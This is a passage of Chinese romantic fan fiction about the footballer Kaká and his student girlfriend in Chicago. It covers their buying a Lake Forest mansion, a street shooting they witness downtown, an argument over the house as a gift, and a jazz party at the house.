“森林湖距离市区大约20英里。”我们把车停在一栋被茂密树丛和广袤草坪环绕的哥特复兴式宅邸前,房产经纪人滔滔不绝地向我们介绍。 “与市中心的摩天大楼相比,这里最大的魅力在于其亲近自然的生活环境、完善的安全设施以及齐全的生活配套。社区还拥有多个公园、图书馆、购物中心和艺术中心,为您提供一个远离尘嚣的私密天堂。” “我喜欢这些翠绿与红橙交织的树木,蓝宝石般的湖泊,还有可爱的小房子们。”里卡多站在门廊前的红砖车道上,环顾四周,悠然感慨道,“这让我感觉像是生活在油画之中。” “这座豪宅始建于1927年,经过多次精心修缮,最近一次大规模翻新完成于2010年,现配备全套家具。豪宅连同草坪和庭院,总占地面积约1.6英亩,主体建筑共地上三层,拥有14个房间,每层均配备电梯,中央楼梯连接各个楼层。其中包含宽敞的主客厅,温馨的家庭起居室,还有晚餐厅、早餐厅,满足不同时段用餐需求。厨房附带储藏室,烹饪与收纳皆能轻松应对,书房静谧雅致,阳光房享受惬意时光,健身房设施完备,此外还有6间舒适卧室。整座豪宅内共设有9个壁炉,在寒冷冬日也能让屋内温暖如春。”房产经纪人热情满满,继续为我们详细介绍着。 “室外空间同样令人向往,设有室外花园、烧烤炉、游泳池和小型篮球场,哦,您完全可以把篮球场改造为足球场。地下空间则别有洞天,设有恒温酒窖、吧台、影音室和娱乐厅。您可以看到,尽管宅邸外观采用了复古风格,但内部空间仍然宽敞明亮,客厅采用打通二层的挑高设计,全屋铺设木地板并配备地暖系统。厨房设有两个中央岛台,非常适合作为聚会厅使用,能轻松容纳40至50位宾客。” “这栋房子完全俘获了我的心。”回来之后,我仍对它念念不忘,“那些飘逸的哥特式尖拱和塔楼,刷上粉红色灰泥,巍然挺拔,构造精致;螺旋形的楼梯,铁栏杆上精工细雕,仿佛裙摆上旋转的花边。还有那些昌迪加尔椅子、古董灯、马赛克地饰、东方纹样的地毯和挂毯、涂漆的绿松石色镶板、天鹅绒面料的橄榄绿沙发……讨人喜欢的元素实在太多了!这是一栋格调高雅的建筑,静谧而孤芳自赏。” “我同样钟情于这座宅邸。唯一美中不足的地方在于,它距离你的学校稍微远了一些。”里卡多面前摊开着一叠社区指南,他一边翻阅一边说道,“要是考虑南部地区,海德公园会是最佳选择。” 我耸了耸肩,“得益于芝大的辐射效应,海德公园如今成为了南部治安最好的地区。可就自然风光而言,它远不及森林湖那般迷人。此外,海德公园的这些别墅实际上是一百多年前为学校的校董和教师们建造的,它们在规划上并不算是精心设计。别墅沿街而建,彼此之间的距离过近,这在一定程度上影响了居住的私密性。” 经过一番比较,我们最终还是选定了森林湖的这栋房子。我原本以为我们会选择租赁的方式,然而里卡多却做出了一个让我颇为意外的决定——全款购买。 “卖家给出的报价相当合理,”这个男人面带无辜地解释道,“一方面,我们预计会在芝加哥长期居住;另一方面,即便日后不打算自住,从房产投资的角度来看,这也是个颇为合适的选择。” 在看房的那些日子里,我们也抽出时间去提回了我的新车。 当这辆海湾蓝的漂亮座驾稳稳地停在学校的公寓楼下时,几乎招来了这附近所有吹着口哨的年轻人。 “亲爱的佐伊,你又一次登上新闻啦。倒不是什么惊天动地的大事,就是报道卡卡送了你一辆跑车。那些无孔不入的家伙跑去采访了你们提车的那家迈凯伦4S店的店员。”就连斯嘉丽,对我频繁出现在媒体上也见怪不怪了,“另外,卡卡打算在芝加哥置业的消息也被曝光了。你们看房的时候,被某个眼尖的人拍到了照片。” 确实,记者们先是围堵迈凯伦的店员,追问卡卡是否真的在购车文件上签下了他女友的名字,还不住地打听这对恋人是如何恩爱甜蜜;接着又蜂拥至房产中介的办公室,一门心思要弄明白,卡卡那栋即将大手笔购入的豪宅,是不是继跑车之后,又一份旨在讨佳人欢心的奢华馈赠。 “跑车是卡卡送我的开学礼物。”当《芝加哥论坛报》的女记者苏珊再次联系我时,我大方地向她透露。 “他起初打算送我一辆价值百万欧元的超级跑车,就像我们在马德里时借用克里斯的那辆布加迪威龙一样。但最终我们决定保持低调,毕竟我现在生活在现实版的‘哥谭市’。”我半开玩笑道,电话那头的女记者也同我一起笑了起来,“至于那套房子,主要是出于投资的考量。当然,我们也非常喜欢湖区的自然风光。嗯?你问是否会写上我的名字?不,不,那不过是毫无根据的谣言。” 关于森林湖的这座豪宅,接下来只需完成一系列的购房手续,包括通过房产经纪人与卖家协商敲定最终成交价格,请第三方机构对房屋进行全面细致的检查和评估,然后便是签订购房合同、办理房产过户。 这些手续都在有条不紊地推进着,我们也得以暂时放松紧绷的节奏。我带着里卡多在校园里漫步,一路向他介绍芝大的哥特式建筑群、礼堂、图书馆以及博物馆。 然而,我们的行程常常被球迷们的热情所打断。只要有一个人激动地喊出我们的身份,就像推倒了多米诺骨牌,连锁反应瞬间触发。也不知是从校园里哪一处隐秘的角落,一群又一群大学生接连不断地冒了出来。他们如同偶然间觅得蜜源的蜜蜂,成群结队地回到蜂巢,跳起欢快的圆舞和八字舞,将这位足球巨星到来的消息迅速传遍整个校园。 芝加哥大学一侧毗邻密歇根湖,其余三面则被城区环绕。不巧的是,这三面街区都是黑/帮势力的活跃地带。为此,我特地在地图上把那些不安全的街区一一标注出来,以便里卡多进出校园时,能够尽可能避开这些危险区域。 “这是紧急报警器。”我指着校园路边那些配备摄像头、闪烁着蓝/灯的长形立柱,向他解释道,“只要按下那个红色按钮,学校的警察会在五秒钟内收到你的警报,然后迅速赶到你的位置提供帮助。所以你瞧,校园内部实际上是相当安全的。” “甜心,”他仔细查看了一会儿报警灯,然后转过头来,神情严肃地说,“你平时最好把活动范围控制在校园之内。如果必须离开学校,一定要开车往返。” - 在秋季学期开始前的最后一天,我们开着那辆迈凯伦的敞篷跑车,穿越湖滨大道和密歇根大道,前往市中心卢普区的一家餐厅吃晚饭。 沿途,我们飞驰而过林立的摩天大楼,它们鳞次栉比,高耸天际,由玻璃和钢筋筑就,呈环形排列,各种风格和文明汇聚其上,全部重建于1871年那场芝加哥大火之后,仿佛一部活生生的建筑史。 晚餐落幕,时针尚未指向七点。我们先是去格兰特公园散了一会儿步,随后沿着芝加哥河驱车前行。从敞开的车顶飘进一阵阵柔和的香风,河水淙淙流淌,河面上目之所见皆光彩熠熠,是两岸的街灯和车流在莫测变幻。顺着突转的弯道,我往左轻打方向盘,于是转入一个辉煌世界,一片奢华的乐土。 我们把车停靠在路边。城市的雾气缭绕在上空,这些连接起来的砖石建筑在夜色下冷冷闪耀,好像随时会倒塌下来成为火海中的残垣断壁。我们踏入几家灯火通明的服装店,在其中消磨了一两个小时。那些墨西哥龟背竹一直长到布满金色浮雕的天花板上,它们肥厚的叶片在巴洛克式的奢侈品宫殿里撑起了一片热带雨林。 当里卡多手提购物袋,我挽着他的臂弯,一同迈出店门时,街道尽头的阴影骤然迸裂——第一声枪响恰似水晶灯轰然碎裂,惊飞了栖息在路易威登橱窗上的霓虹光晕。 起初,街上的行人似乎被这突如其来的声音定住了脚步,只是短暂地愣了一下神。但紧接着,连续两声枪响就如同惊雷般炸开,瞬间扯碎这片紧绷的宁静。一个男人捂着鲜血淋漓的手臂,跌跌撞撞地从前方那片聚拢的黑暗中冲出。 “救命!杀人了!救命啊!” 他呼哧呼哧地喘着气,发出格外渗人的惨叫声,殷红的血迹在衣衫上迅速洇开。他用一只手死死压住伤口,可鲜血仍不住地从指缝间汩汩涌出。 就在一刹那,恐惧如同一群凶悍的鬣狗,毫无预兆地猛扑而来。行人们恰似受了惊的山羊,登时慌作一团,四散奔逃。 尖叫声、呼救声和杂沓的脚步声混杂在一起,猝不及防间,我们被一个转身往回跑的男人硬生生冲散。 他重重地撞在了我们的身上,里卡多不禁闷哼一声,踉跄着后退了几步才稳住身形,手中的购物袋应声落地。鲁莽的袭击者同样被撞得晕头转向,差点一头栽倒在地上,但他根本没有时间调整,像只被吓破胆的兔子一样霍地蹦了起来,魂不附体地逃走了。 “里卡多!”我失声惊呼,全然顾不上自己被撞得阵阵钝痛的胳膊,焦急问道,“你没事吧?” “我没事。”他立刻回应,慌忙扯住我的手腕,“你被撞到了吗?有哪里疼吗?” 我没有直接回答,而是反手紧攥住他的手。一股寒意让我不由自主地战栗起来,我飞快地回头眺望,慌不择路的人们正向我们的方向涌来,他们脚下的光影仿佛被生生撕裂,错乱而急促。刚刚中枪的男人早已消失得无影无踪,至于那一个或是几个凶徒,他们模糊的黑色轮廓是否正在后方追赶,根本无从分辨。 “没时间回车上了,我们先找个地方避一避!”我当机立断道。 我们交换了一个眼神,便迅速退回到了刚才光顾过的那家古驰商店。店员从角落里快步奔来,请我们往更深处走。与此同时,几个荷枪实弹的安保人员如临大敌般地将大门紧紧关闭。 “先生女士请不必忧心。”店员们安慰我们,“这条街上一直有警察巡逻,我们店里安装的是防弹玻璃,还配备了专业保安,二位在这里很安全。” “没事的,这里是中心商务区,警力很充足。”我察觉到里卡多掌心沁出的冷汗,轻声安抚道。他微微侧过头,冲我勉强扯动嘴角,挤出一丝笑容。 他就那样静静地伫立着,紧紧扣着我发麻的腕骨,这片刻时光,却仿佛被无限拉长。 这里是芝加哥的心脏地带,无数如螺钿般瑰丽的光影,沿着错落建筑的棱角扶摇直上,将夜空渲染成一块莹润明亮的蛋白石。 此时此刻,周遭的一切声息与气味都被数倍放大。狂风肆虐,千百扇玻璃门窗不堪侵袭,发出令人胆寒的哐啷巨响;受害者的惨叫凄厉无比,宛如被残忍拔毛剥皮的野禽声声泣血;黑暗里手枪扳机轻扣,细微的咔哒声却似丧钟长鸣,不详地落在人心头;店内昂贵的皮革、丝 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“这群渣滓!社会败类!把他们关起来也是浪费纳税人的钱!”一名警察说着,愤恨地往地上啐了一口。忽然间,他把目光重新转回里卡多上,惊奇道,“嘿,我说,老兄,有没有人对你说过,你长得有点像一个名人?你知道卡卡吗?那个踢足球的,巴西人,你长得很像他。” “谢谢,很多人都说我长得像他。”里卡多说。 “哦,糟糕,我们的东西!”我猛地想起来,急忙说道。 “什么?”警察问。 “我们之前在古驰买的衣服,刚才仓促中掉在了店门口,没来得及去捡——”说着,我们的目光一同投向空荡荡的人行道,显然,那里现在连一个包装袋的影子都没有了。 “你们是游客吗?”另一个警察问。 “我在这儿上大学,”我回答,“我男朋友是从外地过来的。” “好吧。”那警察耸了耸肩,“欢迎来到芝加哥。这就是芝加哥,永远充满惊喜。” - 当我们终于坐进车里,我犹豫了一会儿,还是轻声问出了心底的疑惑:“你刚才是不是有点吓到了?” 他微微一怔,随即摇了摇头,反问道:“为什么这么说?” “你对那个警察的态度——你以前对球迷可不会隐瞒自己的身份。” 他沉默了好一会儿,把目光投向车窗外。然后,他转过头,抓住我的手。“我确实有些心神不宁。” 我轻轻展开他的手掌,爱怜地抚摸着上面四道鲜红的月牙印,那是他刚才紧张时,指甲深深掐进掌心留下的。 “美国的暴力事件确实要比欧洲频繁一些,而且你来美国后一直住在奥兰多,那里的治安情况在全美都算是不错。其实,像今晚这样的事件只是个例,即使是在芝加哥,只要避开那些高风险区域,大多数时候还是很安全的。” 我稍作停顿,继续说道:“我知道,新闻上总是大肆报道那些负面事件,但那不能代表整个城市。每个地方都有它的光明和阴暗面——” “佐伊,”他冷不丁地截断了我的话,我下意识地看向他。“甜心,”他接着说道,神情中满是复杂,“我不是因为害怕,而是,刚才我忧心忡忡,只想着要保护你,可同时又看到了你的勇敢。你能够,反过来保护我。这让我觉得,自己实在是一个……很不称职的爱人。” 晚风中波动的凉意包围了我,而后又似枯水季里潺缓退去的河水,只留下一片洁净的河床,袒露在寂静之中。鼻翼轻颤间,我嗅到了他颈间那股若有若无的气息,淡淡的,带着一丝不易察觉的咸涩。 这条璀璨夺目的繁华街道,不知何时又聚集起了一群群男人和女人,光线中人影憧憧,看不真切。拐角处重新传出了放荡的笑声,偶尔穿插着醉汉的争吵和詈骂。 橱窗里时髦的塑料模特扭曲着四肢,那些人造首饰和钻石全都被镶嵌在十八世纪式样的底座里。几扇巨大玻璃窗间隔的漆黑墙面上,各色怪影晃动个不停,比划出荒诞的姿势,像是在演绎着一场无人能懂的戏剧。 这里是芝加哥,既是繁华的都市,也是罪恶的渊薮。 “你真是个傻瓜。”我轻抚上他的手背,“我早就说过,我是真的想要保护你。而且,我们又为什么不能互相保护彼此呢?” “我想把那栋房子送给你。”他幽幽道。 我猛地抬了一下眼。“你说什么?”我不禁怀疑自己是不是听错了。 “森林湖的那栋房子,你不是很喜欢吗?我买下来之后就赠予你。” 我瞪着他,然后缓缓皱起了眉头:“之前我们可没谈过这事,你是突然有了这个想法吗?” 有那么一会儿,他似乎在出神思索。“也不算是突发奇想。其实这几天,我常常在想,我能为你做些什么。我之前觉得,好好爱你、保护你,就是我该做的。可如今我意识到,即便没有我,你也能很好地爱自己、保护自己。那么我又能为你做些什么呢?” “可你不能就这样一股脑地把所有你认为我想要的东西都给我。”我摇了摇头,“先是四十万美元的汽车,接着是四百万美元的房子,那下次呢,又会是什么?” 他把自己的目光从我眼中撤开,用他的手掌包裹着我的手,慢慢摩挲着我的指骨。 我的视线落到他手背上青色的血管,轻声说道:“如果金钱成了你表达情感的首选工具,如果我习惯了你用美元堆砌起来的爱,我们的关系可能会慢慢失去它的健康根基。我们会越来越依赖金钱,而忽视了彼此之间的情感流动。” “过去报纸总说我近乎完美,也许是我那些利他行为让他们这么评价。”他苦笑着说,“但实际上,我既不完美,也没那么强大,我也有自己脆弱的一面。然而在你面前,我真的很希望自己能成为那个完美的卡卡。” “可我爱上的,并不是那个完美的卡卡。”我温柔道,“我只想要这个真实的你。” “那么,我又能为你做些什么呢?”他又一次问道。 “你只需要我爱你,而我也是如此。我只需要你爱我,让我知道你爱我。”我回答。 38. 孤独的逻辑 在那起枪击事件的阴霾逐渐消散后,里卡多在芝加哥又陪伴了我一周。 “你该归队训练了,宝贝。”一次午休时,我们在校园里沿着树篱散步,我提起这个话题。 “听起来像是你在赶我走。”他委屈道。 “你的队友们已经开始给我发信息了,你要再不回去,我怕……”我故意拉长了声音,一脸严肃地看着他,“他们会以为我把他们的队长给拐跑了!” 他忍不住弯了弯嘴角:“那我是得赶紧回去,免得他们真的组织起搜救队来。” 我一本正经地点点头:“而且这些天我带你光顾了那么多美味餐厅,这样下去,你的健康报告里恐怕又要多几条警告了。” 他的神情顿时变得幽怨。“每次你吃不完的食物,都是我帮你解决的。”他控诉道。 我清了清嗓子,有些心虚地避开了他的目光。“其实你们基地的伙食也挺好的,至少,呃,很健康。” “那等你下次来奥兰多,我为你打包一份带回家?你可以亲自尝一尝。”他挑了挑眉毛,提议道。 “那倒不必了。”我立刻拒绝。虽然基地的食材本身不错,但美国人的烹饪手法实在匮乏,无非是煎、炸、烤、炖那几样,再配上千篇一律的酱汁,实在让人提不起兴趣。 我们又走了一会儿,他开口道:“我明白,你的学业和我的事业都很重要。我会在这两天内回去。” “其实我的课业马上会繁重起来,能用来约会的时间恐怕会越来越少。你这个时候回去正好。如果过段时间你发现每次视频通话时,我都泡在图书馆,可千万不要太惊讶。”我笑嘻嘻地说,“芝大的图书馆24小时不打烊,我们学生之间也流传着一句历代相传的名言:‘Where all the funes to die.(这里是让快乐去死的地方)’大家开玩笑说,这句话完全可以替代那句拉丁文校训——‘Crescat scientia, vita excolatur.(愿知识增长,愿生命得以丰富)’。” “听起来真是悲壮。”他停下脚步,转身凝视我,“甜心,我会非常想念你的。” “我也是。”我轻声回应,“每时每刻,我都在思念你。” 他向前跨出一步,把我的头揽在他的胸前。我的脸颊贴着他的颈窝,贴得如此紧密、如此长久,仿佛我们试图将彼此的体温融为一体。 “房产过户手续这周内就会全部办妥。我会让尼克留在这里,等一切处理妥当后再回奥兰多。至于购置家具电器,安排管家、家政和园丁这些琐事,你都可以放心交给尼克去处理。” “好。” “还有件事。”他语气微顿。 我稍稍从他怀中退开,了然道:“你还是想把那栋房子送给我吗?” “既然你很喜欢,为什么不接受呢?”他双手轻轻搭上我的肩头,眼眸犹如灰蒙蒙天空下的两泓池水,在他的脸上流淌着决心,“爱与财富,我都愿意给你。” “你不怕我卷走你的财富,把你的爱丢在一边吗?” “你不会。” 我紧紧盯着他的双眼,良久,才咕哝道:“我的确不会。可是你一点也不担心,一点也不害怕吗?” “我怕。”他坦然道,“从与你在一起的那一刻起,我就很害怕。我怕有一天你会离我而去——即使我清楚你不会,但这份恐惧就如素食者心底对肉食的隐秘渴望,难以言说,却真实存在。” “你把财富送给我,是想以此让我离不开你。” “是。”他低声承认,“我想让你开心,也想在你心中增添几分重量。” 我沉默了一会儿,开口道:“这个世界的运转,似乎总是遵循着一条普遍法则:将利益与情感紧密结合,便能让关系变得坚如磐石。许多人将此奉为圭臬。”他纹丝不动地注视着我,没有反驳的意思,我继续说道,“但还有另一条逻辑,是我自己世界的逻辑,一条孤独的逻辑——” “那条逻辑是:我对我爱人的爱,只会因我们灵魂的交融而丰厚,与物质的多寡无关。我用金钱来生活,我用爱来滋养灵魂。” “这栋房子我很喜欢,但我不想收下它。”就在他即将开口之际,我竖起食指抵在他的唇间,“我相信物质之所以焕发出美的光彩,是因为人们倾注了情感。就像八十八年前,那位设计师将心思才智注入其中,才让这座宅邸拥有了超越砖瓦的灵魂。所以,我想要另一个礼物。” “我很少佩戴首饰,以前总觉得它们既不实用,也没什么意义。但其实它们也可以是心意的寄托。” “我想要一颗石头,要像月光一样明亮,像海水一样洁净。你愿意为我找来吗?” 他微微一怔,眼中闪过一丝惊讶,旋即缓过神来,伸出手握住我的指尖,郑重道:“当然。” - 在里卡多离开后的几天里,我显得有些怅然若失。幸运的是,学校规律的生活让我几乎没有时间来伤感。 芝加哥大学采用的是学季制,一年中除暑期外,分为秋、冬、春三个学季,每个学季仅有11周。这意味着我们得在短短几周内完成其他大学一个学期的课程,学生们的学业压力自然不会小。甚至在学期伊始,同学们就已经开始为期中考试做准备;而期中考试刚一结束,期末考试的准备又迫在眉睫。 学校里已经有不少人知道了我就是球星卡卡的女朋友,这让我成为了众人关注的焦点。 无论是在图书馆里、上下课的路上,还是在食堂里,都会有人投来意味深长的目光。甚至有人不遗余力地打听我的课程表,一位以学术严谨但给分苛刻著称的老教授,发现自己的课堂上意外地多了许多新面孔,还惊讶地擦拭起眼镜,怀疑自己是否走错了教室。 大多数同学对我只是抱着新奇的态度,但有些人却故意在同学之间编造故事,声称他们与我有过约会,甚至暗示和我的关系已经发展得更深。 在我和露娜的调查下,我们发现这个造谣的人正是之前跟踪斯嘉丽和露娜的那个家伙。 当我们带着学生会的成员与他对峙时,意外地揭露了其他几个同谋。我们押着这几个人去了教务处。随后,学校在他们的公寓里发现了由剪报拼凑而成的骚扰信件,以及大量针对我和其他女孩的偷拍照片。 这几个人最终被学校开除,这次事件也很快在网络上被公之于众,成为了当时的热门话题。但我没有把这件事告诉里卡多,直到他在推特上看到相关讨论后才得知,为此我脾气温和的男朋友破天荒地生了我整整一天的气。当然,这些都是后话。 就目前而言,我的生活简单而有序:上课、研读文献、撰写报告和论文,以及和里卡多视频通话。偶尔,我也会抽出时间与尼克一同前往森林湖,打理这处豪宅。 对于这栋充满故事的老宅,我并未进行太多改动。或许是因为前屋主的装修品味深深吸引了我,又或许是因为它承载了近百年的历史沉淀。尽管历经多次修缮,它依旧保持着原有的风貌,那是一种上个世纪初“绅士与淑女”的悠闲氛围和雅致韵味。 尼克委托了一家中介公司为我推荐几位管家候选人。在一个没有课的周五下午,我抽出时间与几位候选人进行了面谈。我最终选择了一位有着藤校背景,拥有三年管家及私人助理经验的年轻女士。 当我告知她被录用的时候,这位名叫米丽安的意大利裔女孩儿对于自己能够胜过另外几位拥有超过五年工作经验的面试者感到非常意外。 “其他几位男士确实经验丰富。”我对她说,“但我只想找到一位最合适的管家。家里平常只有我一个人,要处理的事务并不多,我的男朋友每个月会从奥兰多过来一两次。因此,我更希望有一个年轻的女孩子能陪我一起住,帮我料理日常琐事。” 在与里卡多商量之后,我们决定为米丽安提供每年十万美元的薪酬。聘用了米丽安之后,我便催促尼克尽快返回奥兰多。 “你那里还有很多事情等着尼克去处理。”某天晚上,我悠闲地坐在楼下花园的秋千上,与里卡多打视频。我举起手机,让他能够通过屏幕窥见我所处的这片幽美环境,并告诉他,我已经顺利搬进了新家。 “现在有了米丽安,后续的事务她都能帮我打理。我考虑了一下,决定不再聘请专职保姆了。毕竟宅子里目前只有我一人,没必要雇佣那么多人。这些家务事,我们可以委托给家政公司,让他们定期派人来打扫卫生和照看庭院。至于一日三餐,我已经给米丽安安排了餐补,她很乐意自己解决。而我平常在学校用餐,也没有聘请厨师的必要。” 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“开派对这个主意不错。”里卡多若有所思道,“下次我回来时,我们可以邀请你的同学们来,这样我也有机会可以认识这群年轻人。” 关于派对的计划暂时搁置了,因为我们很快迎来了一段异常忙碌的时期。在这周里,我甚至啃了上千页的学术文献。尽管如此,由于里卡多在周六晚上有一场季后赛的比赛需要上场,我还是预订了飞往奥兰多的机票。 这趟行程中,我争分夺秒地埋头看书,这一情景被同航班的乘客拍下来,发到了网上。没想到,这在我芝大的同学和校友们间引起了热烈反响,他们不仅欣然转发了我的照片,还附上对我的同病相怜之情,以及对芝大极其“亲切友好”的问候。 然而,我本欲给里卡多一个惊喜,所以特意对此次行程只字不提,就盼着见面时能看到他目瞪口呆的摸样。谁料事与愿违,网上的“泄密”让他提前知晓了一切。 等到比赛结束后,我们回到金橡树庄园,我看到拉斐尔的那幅画已经挂在了我们的房间里。接着,我给了将近两周没见的男朋友一个热烈的黏糊糊的吻,而这个男人却眯起眼睛,露出一副秋后算账的表情。 “我记得我们似乎说好了,如果你学业繁忙,就不能来看我比赛。”他像逮住了一只正鬼鬼祟祟打算开溜的小狐狸似的,伸手一把抚上我的后脖。紧接着,他脑袋一低,凑到我耳边,似笑非笑地说道,“怎么这么不听话呢?想知道会有什么惩罚吗?” 我脸蛋一红,把头往下一缩,抄起我的MacBook和Kindle就朝着书房跑,边跑边扯着嗓子大声喊:“我不想知道啊啊啊啊啊!我要去学习啦!!” 没过一会儿,里卡多便端着两杯咖啡走了进来。 “亲爱的,你不必来特意陪我。”我立刻紧张兮兮道。 “我来和你一起学习。”我眼角的余光捕捉到他将咖啡轻轻放在桌上,接着悠闲地踱步到书架前,随手取下了一本经济学方面的书籍。 他转过身来,脸上带着一抹淡淡的笑意,“多学一点总是有益的,”他顿了顿,意有所指道,“而且与你一同学习,能激发我更多的‘热情’。” 后来发生的事情…… 在拥挤的圈椅里,在宽大的书桌上,他珍爱地舔去我额头渗出的细密汗珠,我咬住他滑落的领带末端,丝质面料在唇齿间发出情人絮语般的窸窣,一点一点地拉扯,仿佛在丈量我们之间的距离。 “偷领带的小贼该判什么罪?”他轻笑着。 我未及回答,珍珠纽扣已在不经意间挣脱束缚,轻轻弹落在胡桃木地板上,发出清脆的声响。我攀上他泛红的肩肉,指尖陷入温热的肌肤,又捧住他月弧般的颈项。 他深棕色的头发因半长而略微鬈曲,每一次细微的动作,都在摇曳晃动。 我仍然像一只鸟儿,这次是莹润的、灵动的小鸟,在他的庇护之下,轻盈旋转着,时而振翎高飞,时而敛羽低徊,在云端与林梢间自在穿梭。 当我在他的掌心里整个熔化成一团浓稠的蜜汁,当我全身的肌肤都在呻吟和痉挛,如同跌入野火中的蔷薇花蕊那般粉柔、窕冶地颤抖时,我的神智已然涣散,意识如同漂浮在夜雾中的蛛丝,只剩下一片缭乱。 这个男人不久之前才在球场上跑了整整九十分钟,此刻,夜色深沉,他却依旧如此…… 39. 派对 这段紧张忙碌的日子一直持续到十一月,当最后一门东亚研究的期中考试结束,图书馆通宵区的咖啡渍与草稿纸都被保洁人员收走时,我们才惊觉窗外的枫树早已褪尽了血色,只余下铁灰色的枝桠刺向铅灰色的天空。 等我觉得可以略略歇一口气的时候,芝加哥进入了熟悉的冬令时。下午五点不到,天空就蒙上了一层黑幕,从北边密歇根湖长驱直入的寒流,让整座城市像是被装进了灌满雪莉酒的冰镇摇壶。 里卡多在某一周的闲暇时刻飞到了芝加哥。周五晚上,我们终于如斯嘉丽和露娜所愿的,在豪宅中举办了一场派对。 为了避免大家在这种寒冷天气泡到泳池里感冒,也为了抚慰这些刚从堆积如山的文献中解脱出来、疲惫不堪的年轻人,我最终把派对主题敲定为“爵士之夜”。 我特意嘱咐米丽安,在壁炉中添上了整整一捆苹果木。跃动的火光映照在孔雀蓝釉面砖上,暖融融的光影肆意摇曳,与这支在当地颇负盛名的爵士乐队即兴演奏的三重奏形成了奇妙的和鸣。 从社区俱乐部邀请而来的调酒师,正站在中央岛台后耍弄着黄铜雪克杯。而在岛台的桌面上,威士忌腌制的樱桃木烟熏肋排错落摆放,浓郁的香气弥漫开来,引人垂涎。一旁,还有造型别出心裁、被做成文献卷轴模样的巧克力慕斯,那位头戴高帽的法餐主厨笑言,这是他献给在座人文学者的黑色幽默。 当宾客们鱼贯穿过镶着彩色玻璃的门廊时,侍者托着的黑漆木盘里,产自威尼斯的手工面具和东方风情的缂丝团扇正在暖光下一排铺开。每位宾客都能自由挑选,以便增加派对的氛围与乐趣。 尽管里卡多也戴上了面具,他的魅力却丝毫未减,依然如同磁石般吸引着人群。不过眨眼间,他身边就簇拥了一群言笑晏晏的男女。 “你不去拯救一下你的王子吗?”露娜戴着一副缀满珠串的黑天鹅面具,端着一杯鸡尾酒,袅娜地走到我身边,腰间的流苏随着步伐轻晃,“从派对开始到现在,他身边好像就没缺过人——看那个穿渔网袜的姑娘,手都快摸进他衬衫里了。” “他们这群人平时根本不关心足球,没想到对里卡多这么热衷。”我摇着扇子,郁闷地看着远处被围在人群中央的里卡多。 “小妞,你男朋友可是卡卡。”露娜瞟了我一眼,“我是说,他毕竟是个全球知名的人物。而你说的就好像‘里卡多’只是隔壁学校的小有名气的足球明星似的。” 我噗嗤笑出声,扇子差点扫翻侍者托盘上的甜品,“我怀疑他们中一半的人都是冲着里卡多来的。” “你不用怀疑。不过,剩下的一半人都是因为你而来。”她突然贴近我耳畔,浓烈的龙舌兰味道随之袭来,“看见窗边那个戴孔雀面具的家伙了吗?是兰登带来的朋友,据说是某位校董的侄子或者外甥,他整晚都在偷瞄你。” “哦?”我故意把香槟杯举到唇边,借着杯壁的反光,瞥向露娜说的方向。果然有个西装革履的男人慌忙移开了视线。 “你现在可是一位住在价值几百万美元豪宅里的富婆呢。”她调侃道,“不过,除了那些想来豪宅里狂欢的人,大家也很乐于接受你的好意。毕竟,你是个讨人喜欢的美女——嘿!小心!” 我们同时后退半步,看着某个醉醺醺的男孩一头撞上岛台,刹那间,他手中的莫吉托飞了出去,在空中划出一道薄荷绿的弧线,酒水四溅。而另一个女孩就没这么幸运了,几滴酒液不偏不倚,溅落在她纯白的蕾丝面具上,瞬间晕染出难看的污渍。 “我就当你是在夸我了。”我无奈地耸了耸肩,目光投向那个被殃及的女孩。她怒气冲冲地大步上前,揪住那个倒霉的男孩,劈头盖脸地发起脾气来 。 “说起来,斯嘉丽去哪儿了?”我环顾四周,问道,“今天好像没怎么见到她的身影。” “她一直和兰登在一块儿,他们在角落里搂了快有半小时了吧,不过现在他们可能已经上楼去了——看见扶手柱上那条银色领带了吗?我赌五美元那是兰登的。” “她怎么和他搞到一块儿去了?”我吃惊到差点咬上舌尖,“我的意思是,兰登不是有女朋友吗?” “上周那姑娘把他甩了,和西北大学一个篮球运动员好上了,兰登的室友说他偷偷哭了三天,躲在厕所里一边哭一边赶报告。当时斯嘉丽就念叨着机会来了。”露娜不以为意道,“毕竟,她从踏进校门的第一天起就想把学生会男主席泡到手。” “好吧。”我皱起眉头,担心地瞟了一眼楼梯,“你认为我应该上楼去看看情况吗?” “你疯了!”露娜摇了摇头,用团扇掩住嘴说,“你要是上去,斯嘉丽会气炸的。兰登虽然是个扬着下巴看人的漂亮小蠢货,”她突然压低声音,模仿着斯嘉丽甜腻的语调,“‘哦!他的睫毛比文艺复兴时期的油画美男还卷!’——但斯嘉丽偏偏就吃他那一套。” 我们俩无奈地对视了一眼。“喝酒吧。”露娜举起酒杯说。 “佐伊,我能把你男朋友灌醉吗?” 突然,一个黑头发男孩从香槟塔后面探出头,他的小丑面具歪斜着露出半张通红的脸,“我得跟你们说,我爱上他了!我好想和他接吻!嘿!大家,我想和卡卡接吻!”他挥舞着空酒瓶,摇摇晃晃地想跳上岛台。 “去和撒旦接吻吧,路易吉!”我没好气地挖苦道,引得周围一阵哄笑。 他兴奋得忘乎所以,随手就把身上的上衣揉成了皱巴巴的一团,随着爵士乐热烈的节奏,毫无顾忌地扭动着腰。那架势,似乎下一秒就要在众人面前即兴来一场脱衣舞表演。 “上帝啊,你是吸嗨了吗?”我露出一个嫌弃的表情,“这场派对禁止抽叶子,你是不是偷偷藏了些带进来?” “别动怒,佐伊。我们这就带他去外面透透气,顺便测试下泳池水温。”旁边的两个男生迅速上前,一边一个架着路易吉,半搀半拖地把他带离了现场。 片刻后,当我穿过客厅,前往另一间空置的洗手间时,我的目光不经意间掠过月光映照下的落地窗,惊讶地目睹了这一幕:本该在泳池“醒酒”的三个人摘掉了面具,正难解难分地搂抱在一起,激烈地交换着热吻。 我在原地站定,目瞪口呆地注视着他们,而他们却浑然不觉,忘我地交缠在一起。我魂飞天外地飘走了,过了一会儿又再次飘荡回来,三人依旧旁若无人地亲昵着。 我幽幽地飘回到露娜身边:“我觉得你的想法很好。”我抢过她手里的马提尼一饮而尽。 露娜一脸疑惑地看向我。 “下次派对的主题就定为‘读书之夜’吧。我发誓,我再也不想往我的房子里装几十个满脑子荷尔蒙的傻瓜了!” 终于,我从拥挤的人群中牵出了露齿傻笑的里卡多,他的衬衫上甚至不知被谁印了半个口红印! “拜托了各位,请把卡卡让给我好吗?”我在口哨与哄笑声中抬高声音,“我得了一种没有我男朋友亲吻就会晕倒的病!” - “你得了什么病?”当我和里卡多并肩坐在花园的石凳上时,他问道。 我没好气地斜睨了他一眼,眼神中满是嗔怪。 